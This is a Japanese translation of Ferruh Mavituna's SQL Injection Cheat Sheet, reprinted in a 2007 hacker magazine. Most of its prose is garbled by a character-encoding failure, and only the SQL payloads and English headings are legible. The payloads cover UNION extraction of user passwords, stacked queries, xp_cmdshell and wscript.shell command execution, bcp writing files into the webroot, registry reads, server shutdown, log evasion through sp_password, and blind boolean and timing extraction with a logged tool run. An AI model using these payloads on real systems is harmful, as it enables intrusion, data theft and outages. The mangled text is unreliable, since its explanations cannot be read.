�n�b�J�[�W���p��2007�N5�����@���W�P�@Web�A�v���U���̋��ȏ� ���
�E�����ւ̃����N�@SQL Injection Cheat Sheet
�E�n�b�J�[�W���p��2007�N5�����̏Љ�

SQL Injection Cheat Sheet

SQL Injection Cheat Sheet, Document Version 1.1

SQL Injection Cheat Sheat�ɂ‚���

���݂̃o�[�W�����́AMySQL�AMicrosoft SQL Server����шꕔ��ORACLE�APostgreSQL�݂̂ɑΉ����Ă���B�唼�̃T���v���͌X�̏󋵂Ŏg�p�ł���킯�ł͂Ȃ��B���ʂ�R�[�h�x�[�X�̈Ⴂ�A�\���ł��Ȃ��ς����SQL���Ȃǂ̂��߁A���ۂ̊‹��͂���ƈقȂ�ꍇ������B

�T���v���ł́A�”\�ȍU���̊�{�I�ȃA�C�f�B�A�������Ă���B�قƂ�ǂ̃Z�N�V�����ł́A���̃Z�N�V�����Ɋւ���ȒP�ȏ����q�ׂĂ���B

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : �����炭���̃f�[�^�x�[�X���ׂ�
��;

�ڎ�

  1. SQL Injection Cheat Sheat�ɂ‚���
  2. ���@�̃��t�@�����X�A�U���̃T���v���A���ς�SQL�C���W�F�N�V�������Z
    1. 1�s�R�����g
    2. �C�����C���R�����g
    3. ����
    4. If���ߕ�
    5. ���l�̗��p
    6. �����񑀍�
    7. �N�H�[�g�𗘗p���Ȃ�������
    8. ������ϊ�
    9. UNION�C���W�F�N�V����
    10. �c��̕����ɂ‚��Ă͖����������A��������m�[�g�Ȃǂ��܂܂��̂ŁA�`�F�b�N���Ă݂Ăق����B

���@�̃��t�@�����X�A�U���̃T���v���A���ς�SQL�C���W�F�N�V�������Z

�I�[ / �R�����g�A�E�g / 1�s�R�����g

1�s�R�����g

�N�G���̎c�蕔�����R�����g�A�E�g����B
1�s�R�����g�́A�N�G���̎c�蕔���𖳎����邽�߂Ɏg�p�����ł���ʓI�Ȏ�@�ł���B�R�����g�A�E�g���邱�ƂŁA�\��������������K�v���Ȃ��Ȃ�B

1�s�R�����g�𗘗p����SQL�C���W�F�N�V�����U���̃T���v��

�C�����C���R�����g

�C�����C���R�����g��SQL�����I���������Ɉȍ~�̃N�G�����R�����g�A�E�g�����B����́A�u���b�N���X�g���o�C�p�X������A�X�y�[�X���폜������ASQL���𔻓ǂ��ɂ���������A�f�[�^�x�[�X�̃o�[�W�������m�F�����肷�邽�߂Ɏg�p�����B

�T�^�I�ȃC�����C���R�����gSQL�C���W�F�N�V�����U���̃T���v��
MySQL�o�[�W�������o�U���̃T���v��

����

1��̃g�����U�N�V�����ŕ����̃N�G�������s�������B����́A�S�ẴC���W�F�N�V�����”\�ȉӏ��łƂĂ����ʓI���B�o�b�N�G���h��SQL Server�𗘗p���Ă���A�v���P�[�V�����ɑ΂��ẮA���ɗL�����B

SQL�N�G�����I�����A�ʂ̃N�G�����J�n����B

�������T�|�[�g���錾��ƃf�[�^�x�[�X�̈ꗗ

�΁F�T�|�[�g�A �ÊD�F�F�T�|�[�g���Ă��Ȃ��A���D�F�F�s��

SQL Server MySQL PostgreSQL ORACLE MS Access
ASP    
ASP.NET    
PHP      
Java    

 

MySQL��PHP�ɂ‚���
�኱�̖��𖾂炩�ɂ��Ă������B
PHP�|MySQL�̑g�ݍ��킹�ł́A�����̓T�|�[�g����Ă��Ȃ��BJava�͕������T�|�[�g���Ă��Ȃ��iORACLE�ɂ‚��Ă͊m�������A���̃f�[�^�x�[�X�Ɋւ��Ă͊m��ł͂Ȃ��j�B�ʏ�AMySQL�͕������T�|�[�g���Ă���B�������A�f�[�^�x�[�X���C���[���̐ݒ�̂��߁APHP-MySQL�A�v���P�[�V�����ł�2�Ԗڂ̃N�G�������s���邱�Ƃ��ł��Ȃ��BMySQL�N���C�A���g�͕������T�|�[�g���Ă���̂�������Ȃ����A�m�M�͂Ȃ��B�N���𖾂��ė~�����B

�����ɂ��SQL�C���W�F�N�V�����U���̃T���v��

����́A�ʏ�̃N�G�������s�������DROP members�Ƃ���SQL�������s�����B

If���ߕ�

If���ߕ��Ɋ�Â������X�|���X�̎擾�B����́A�u���C���hSQL�C���W�F�N�V�����̃L�[�|�C���g��1���ł���A�ӖړI�������m���P���ȏ��������e�X�g���邽�߂ɂ��𗧂B

MySQL��If���ߕ�

SQL Server��If���ߕ�

If���ߕ��𗘗p����SQL�C���W�F�N�V�����U���̃T���v��

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
sa��dbo�ȊO�̃��[�U�[�����O�C�����Ă���ꍇ�A0���Z�G���[����������B

���l�̗��p

magic_quotes()��ގ������t�B���^�[�AWeb�A�v���P�[�V�����t�@�C�A�E�H�[�����o�C�p�X���邽�߂ɖ𗧂B

�����񑀍�

������֘A����B�����̓N�H�[�g���g�p�����C���W�F�N�V������g�ݗ��Ă���A�u���b�N���X�g���o�C�p�X������A�o�b�N�G���h�̃f�[�^�x�[�X�𔻕ʂ����肷��̂ɂ��Ȃ�L���ł���B

������A��

MySQL��"||"�ɂ‚���
ANSI���[�h�ʼnғ�����MySQL�ł͐���ɓ��삷�邪�A���̃��[�h�ł���Θ_�����Z�q�Ƃ��ĉ��߂����0���Ԃ����B���悢���@�́AMySQL��CONCAT()�֐��̗��p�ł���B

�N�H�[�g�𗘗p���Ȃ�������

������𗘗p���钼�ړI�ȕ��@�͂����‚����邪�ACHAR()�iMS�j��CONCAT()�iM�j�ɂ��N�H�[�g���g�p���Ȃ�������̐����͏�ɉ”\���B

16�i���R�[�h�x�[�X��SQL Injection�T���v��

������ϊ�

UNION�C���W�F�N�V����

UNION���g�p���邱�Ƃŕʂ̃e�[�u���ɑ΂���SQL�N�G�������s���邱�Ƃ��ł���B�‚܂�A���̃e�[�u�����烌�R�[�h���擾����悤�A�N�G����"�d����"���Ƃ��”\���B

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
����́Anews�e�[�u����members�e�[�u���̌������ʂ��������Ă��ׂẴf�[�^��Ԃ��B

UNION�|����ɂ����̉�����

Union Injection�ōU�����A���Ƃ��ĈقȂ錾��ݒ�i�e�[�u���ݒ�A��ݒ�A�e�[�u����DB�̐ݒ�̑g�ݍ��킹�Ȃ��j�ɂ��G���[���������邱�Ƃ�����B�ȉ��ɐ�������@�\�́A���̌���ݒ����������邽�߂ɂ��Ȃ�L���Ȏ�i�ł���B����͋H�Ȗ��ł͂��邪�A���{��A���V�A��A�g���R��Ȃǂ̃A�v���P�[�V�����𗘗p���Ă���ꍇ�A�N����”\��������B

Login Screen (SMO+)

SQL Injection 101�ŏЉ�Ă���Login��@�F

*MySQL�̌Â��o�[�W�����ł�UNION�̃N�G�����T�|�[�g���Ă��Ȃ��B

�G���[�x�[�X�ł̗񖼂̒���

HAVING BY�𗘗p�����񖼂̒����i�G���[�x�[�X�j (S)

�ȉ��̏����Ŏ��s����B

ORDER BY�𗘗p����SELECT����񐔂̒��� (MSO+)

ORDER BY�𗘗p������ԍ��̊m�F�ŁAUNION SQL�C���W�F�N�V�����̃v���Z�X���X�s�[�h�A�b�v�ł���B

�f�[�^�^�C�v�AUNION�A���̑�

�q���g

��̌^�̌�������

Union�̃^�[�Q�b�g�ŃG���[�ɂȂ�O��convert()���G���[��Ԃ����낤�B���̏ꍇ�Aconvert()����Ώ����悤�B

�P����Insert (MSO+)

'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

�֗��ȋ@�\�^�����W�^�X�g�A�h�v���V�[�W���^Bulk SQL Injection�Ɋւ���o��

@@version (MS)
SQL�T�[�o�̃f�[�^�x�[�X�o�[�W�����Əڍׂȃo�[�W���������擾����B�o�[�W�������Ƃ̕ύX�͂Ȃ��B���̗�Ɠ��l��select���邾���ł悭�A�e�[�u�����̎w��͕s�v�Binsert���Aupdate����֐����ł��g�p�”\�B

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

�t�@�C���̃R���e���c���e�[�u�����ɓǂݍ��ށBWeb�A�v���P�[�V���������삷��T�[�o�[�����̃t�H���_�\����m��Ȃ���΁AIIS���^�x�[�X�t�@�C���i%systemroot%\system32\inetsrv\MetaBase.xml�j��ǂݍ����A���^�x�[�X�t�@�C������A�v���P�[�V���������݂���t�H���_��T�����Ƃ��”\���iIIS6�̂��j�B

    1. foo�iline varchar(8000)�j�e�[�u�����쐬����B
    2. 'c:\inetpub\wwwroot\login.asp'����foo��bulk insert����B
    3. �e���|�����e�[�u���ifoo�j���폜���A���̃t�@�C���ɑ΂��Ă����l�ɌJ��Ԃ��B

BCP (S)

�e�L�X�g�t�@�C���փf�[�^���o�͂���B���̋@�\�𗘗p����ɂ̓��O�C���������K�v�ƂȂ�B
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

SQL Server�ɂ�����VBS�AWSH (S)

ActiveX���T�|�[�g���Ă��邽��SQL Server�ł�VBS��WSH�X�N���v�g�����p�”\�B

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

xp_cmdshell�ŃV�X�e���̃R�}���h�����s���� (S)

�悭�m��ꂽ���Z�ŁASQL Server2005�ł̓f�t�H���g�Ŗ����ɂ���Ă���B���p���邽�߂ɂ͊Ǘ��Ҍ������K�v�ƂȂ�B

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

�P��ping�`�F�b�N����i��������s�ł���悤�Ɏ����̃t�@�C�A�E�H�[����X�j�b�t�@�[��ݒ肵�Ă����j�B

EXEC master.dbo.xp_cmdshell 'ping <ip address>'

�G���[�AUNION�A���̑��̕��@�𗘗p���Č��ʂ𒼐ړǂݏo�����Ƃ͂ł��Ȃ��B

SQL Server�ɂ��������ȃe�[�u�� (S)

SQL Server�̂��̑��̃X�g�A�h�v���V�[�W�� (S)

  1. �R�}���h�̎��s�ixp_cmdshell�j
    exec master..xp_cmdshell 'dir'

  2. ���W�X�g���֘A�ixp_regread�j
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

  3. �T�[�o�[�Ǘ��ixp_servicecontrol�j
  4. ���f�B�A�ixp_availablemedia�j
  5. ODBC���\�[�X�ixp_enumdsn�j
  6. ���O�C�����[�h�istrong>xp_loginconfig�j
  7. Cab�t�@�C���쐬�ixp_makecab�j
  8. �h���C���񋓁ixp_ntsec_enumdomains�j
  9. �v���Z�X�I���i�v���Z�XID���K�v�j�ixp_terminate_process�j
  10. �V�v���V�[�W���̒lj��i������Ȃ�ł����s�”\�j
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  11. �����t�H���_�܂���UNC�p�X�w��ł̃e�L�X�g�t�@�C���o�́isp_makewebtask�j

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL) 
IS_SRVROLEMEMBER (Transact-SQL) 
OPENDATASOURCE (Transact-SQL) 

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

SQL Server�ł�Insert�N�G����select�T�u�N�G�����g�p�s�”\�B

LIMIT�iM�j �AORDER�iMSO�j �����SQL�C���W�F�N�V����

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

LIMIT���2�Ԗڂ̈����ŃC���W�F�N�V�����”\�ȏꍇ�A�R�����g�A�E�g������UNION�C���W�F�N�V�����̒��Ɋ܂߂��肷�邷�邱�Ƃ��”\�B

SQL Server�̃V���b�g�_�E�� (S)

���Ȃ����{���ɐ����Ă��܂������A';shutdown --�Ƃ���΃V���b�g�_�E������B

SQL Server�ɂ�����f�[�^�x�[�X�\���̒��� (S)

���[�U�[��`�e�[�u���̎擾

SELECT name FROM sysobjects WHERE xtype = 'U'

�񖼂̎擾

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

���R�[�h�̈ړ� (S)

 

SQL Server�ɂ�����G���[�x�[�XSQL�C���W�F�N�V�����𗘗p�����f�[�^���o�̐v���ȕ��@ (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

�ڍ׋L���FFast way to extract data from Error Based SQL Injections

�u���C���hSQL�C���W�F�N�V����

�u���C���hSQL�C���W�F�N�V�����Ƃ�

��ʓI�ɔ��ɗD�ꂽ�A�v���P�[�V�������y�[�W��ɃG���[���b�Z�[�W��\�����邱�Ƃ͂Ȃ��̂ŁAUNION�A�^�b�N��G���[�x�[�X�̃A�^�b�N��@�𗘗p���ăf�[�^�𒊏o���邱�Ƃ͂ł��Ȃ��B�f�[�^�𒊏o����ɂ̓u���C���hSQL�C���W�F�N�V�����U���𗘗p���ׂ��ł���B�u���C���hSQL�C���W�F�N�V�����ɂ�2��ނ̃p�^�[��������B

�ʏ�̃u���C���h�F�x�[�W��Ƀ��X�|���X���\������邱�Ƃ͂Ȃ���HTTP�X�e�[�^�X�R�[�h��N�G���̃��X�|���X���ʂ���󋵂𔻒f���邱�Ƃ��ł���B
���S�ȃu���C���h�F�����Ȃ��ނ̏o�͂ɂ����Ă��S�����ق������Ȃ����Ƃ��w���B����́A���O�@�\�⎗���悤�ȋ@�\�ł��蓾��C���W�F�N�V�����ł���B�������A����͈�ʓI�ł͂Ȃ��B

�ʏ�̃u���C���h�ł�if�X�e�[�g�����g��WHERE��̃N�G�������p���ẴC���W�F�N�V�������”\�i��ʓI�ɔ�r�I�e���j�����A���S�ȃu���C���h�ł�wait�@�\�̗ނ⃌�X�|���X�^�C���̕��͂𗘗p����K�v������B���̂��߂ɂ́ASQL Server�ł�WAIT FOR DELAY '0:0:10'�AMySQL�ł�BENCHMARK()�APostgreSQL�ł�pg_sleep(10)�AORACLE�ł͂����‚���PL/SQL�g���b�N���g�����Ƃ��ł���B

���ۂ̑������G�ȃu���C���hSQL�C���W�F�N�V�����U���̃T���v��

�ȉ��̏o�͂́A���ۂɌl�I�Ɏg�p���Ă���u���C���hSQL�C���W�F�N�V�����c�[���ŁASQL Server���o�b�N�G���h�Ɏg�p����A�v���P�[�V�����ւ̍U������уe�[�u�����̊���o�������s�������̂��B����͍ŏ��̃e�[�u�����̍ŏ��̕���������o�����߂̃��N�G�X�g�ł���B�������f�������s���Ă��邽�߁ASQL�N�G���͂�蕡�G�ɂȂ��Ă���B�񕪒T���A���S���Y�����g�p���ĕ����̃A�X�L�[�R�[�h��������s���Ă���B

�e�s�̐擪��TRUE��FALSE�́A�N�G�����^��Ԃ������U��Ԃ������������Ă���B

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

�Ō��2�‚̃N�G���������Ƃ�FALSE��Ԃ��Ă��邽�߁A�e�[�u�������ŏ��̕������A�X�L�[�R�[�h80�ԁi10�i���j�A�‚܂�'P'�ł������Ƃ�����ł���B���ꂪ�񕪒T���A���S���Y�����g�p�����u���C���hSQL�C���W�F�N�V�����̍U����@�ł���B�悭�m��ꂽ���̕��@��1�‚����ԂɃ`�F�b�N���Ă������@�ł���B���ꂼ��A�قȂ�󋵂ł̌��ʂ����҂ł���B

 

WAITFOR�𗘗p�����u���C���hSQL�C���W�F�N�V����

�܂��A���S�ȃu���C���h�ł���΂�����g�p����B����ȊO�̏ꍇ�́A�P��0���Z�G���[�𔭐���������@�ŏ�Ԃ̍��ق𔻒f����B���ɁA2�`30�b�ȏォ���邱�Ƃɒ��ӂ��K�v���B�f�[�^�x�[�XAPI�ɂ��ڑ���X�N���v�g�Ń^�C���A�E�g����������”\��������B

WAIT FOR DELAY 'time' (S)

�����sleep�Ɠ��l�A�w�肵�����Ԃ̏�����҂����邱�Ƃ��ł���B�f�[�^�x�[�X�̑҂����Ԃ����o��CPU�Z�[�t�ȕ��@�ł���B

WAITFOR DELAY '0:0:10'--

�ȉ��̗l��1�b�ȉ��̒Z���Ԃ̎w������邱�Ƃ��”\�B

WAITFOR DELAY '0:0:0.51'

���ۂ̃T���v��

BENCHMARK() (M)

��{�I�ɁAMySQL��Z���ԑ҂����邽�߂Ɉȉ��̃R�}���h�����p���Ă���BWeb�T�[�o�̏����\�͂�Z���ԂŌ��E�܂ŏ���邱�Ƃɒ��ӂ��邱�ƁB

BENCHMARK(howmanytimes, do this)

���ۂ̃T���v��

pg_sleep(seconds) (P)

�w�肵���b��sleep����B

�NjL

SQL Server -sp_password���g�p�������O�̃o�C�p�X (S)

�Z�L�����e�B�̊֌W��ASQL Server��sp_password�Ɋ܂܂��N�G���ɂ‚��Ă̓��O���̎悵�Ȃ��B�‚܂�Asp_password�𑗐M����N�G���ɒlj������ꍇ�A���̃N�G����SQL Server�̃��O�ɋL�q����Ȃ��i���RWeb�T�[�o�[�̃��O�ɂ͋L�^�����”\��������B�”\�ł����POST���\�b�h���g�p���邱���j�B

Clear SQL Injection Tests

�ȉ��́A�u���C���hSQL�C���W�F�N�V�����ƃT�C�����g�A�^�b�N�����{���邽�߂́A�V���v���ŗǂ��e�X�g�ł���B

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1

  2. product.asp?name=Book
    1. product.asp?name=Bo’+’ok
    2. product.asp?name=Bo’ || ’ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

MySQL�Ɋւ��邻�̑��̊o��

���p���l������”\��������֐�

MD5()
SHA1()
CHAR()
PASSWORD()
ENCODE()
COMPRESS()
BENCHMARK()
ROW_COUNT()
SCHEMA()
VERSION()

�Z�J���h�I�[�_�[SQL�C���W�F�N�V����

��{�I�ɁASQL�C���W�F�N�V�������ǂ����Ɏd����ŁA���ꂪ���̓���Ńt�B���^�[����Ȃ����Ƃ����҂ł���B����́A��ʓI��hidden���C���[�̖��ł���B

Name :  ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

�����A�v���P�[�V���������S�ł͂Ȃ��X�g�A�h�v���V�[�W���A�֐��A�����Ȃǂ�name�t�B�[���h�̃f�[�^�𗘗p���Ă����ꍇ�Ausers�e�[�u���̍ŏ��̃��[�U�̃p�X���[�h�����[���̈��於�Ȃǂɑ}������邩������Ȃ��B

References

�����̊o�����́A�������N��‚��̃T�C�g������W������l�I�Ȍo�����瓾��ꂽ�肵�����Ƃł���B�Ȃ̂ŎQ�Ɛ悪��‚������Ă��邩������Ȃ��B�����A�Q�Ɛ悪�����Ă���̂ł͂Ǝv�����Ƃ��͎������[���𓊂��Ē�������iferruh-at-mavituna.com�j�A�”\�Ȍ��葁���X�V����‚��肾�B

�ύX����

To Do /�A����/ Help

Oracle�APostgreSQL�ADB2�AMS Access�Ɋւ���o��������A���݂����ɋL�ڂ��Ă��Ȃ����Z�̊�‚�����������B�”\�Ȍ���͂₭Web�Ɍf�ڂ������Ǝv���Ă���B�����A�V�������Z�����‚��������`�������Ƃ��́A�����ɃR�����g�������̂ł͂Ȃ��������[�����Ăق����iferruh-at-mavituna.com�j�B

 


Ferruh Mavituna
http://ferruh.mavituna.com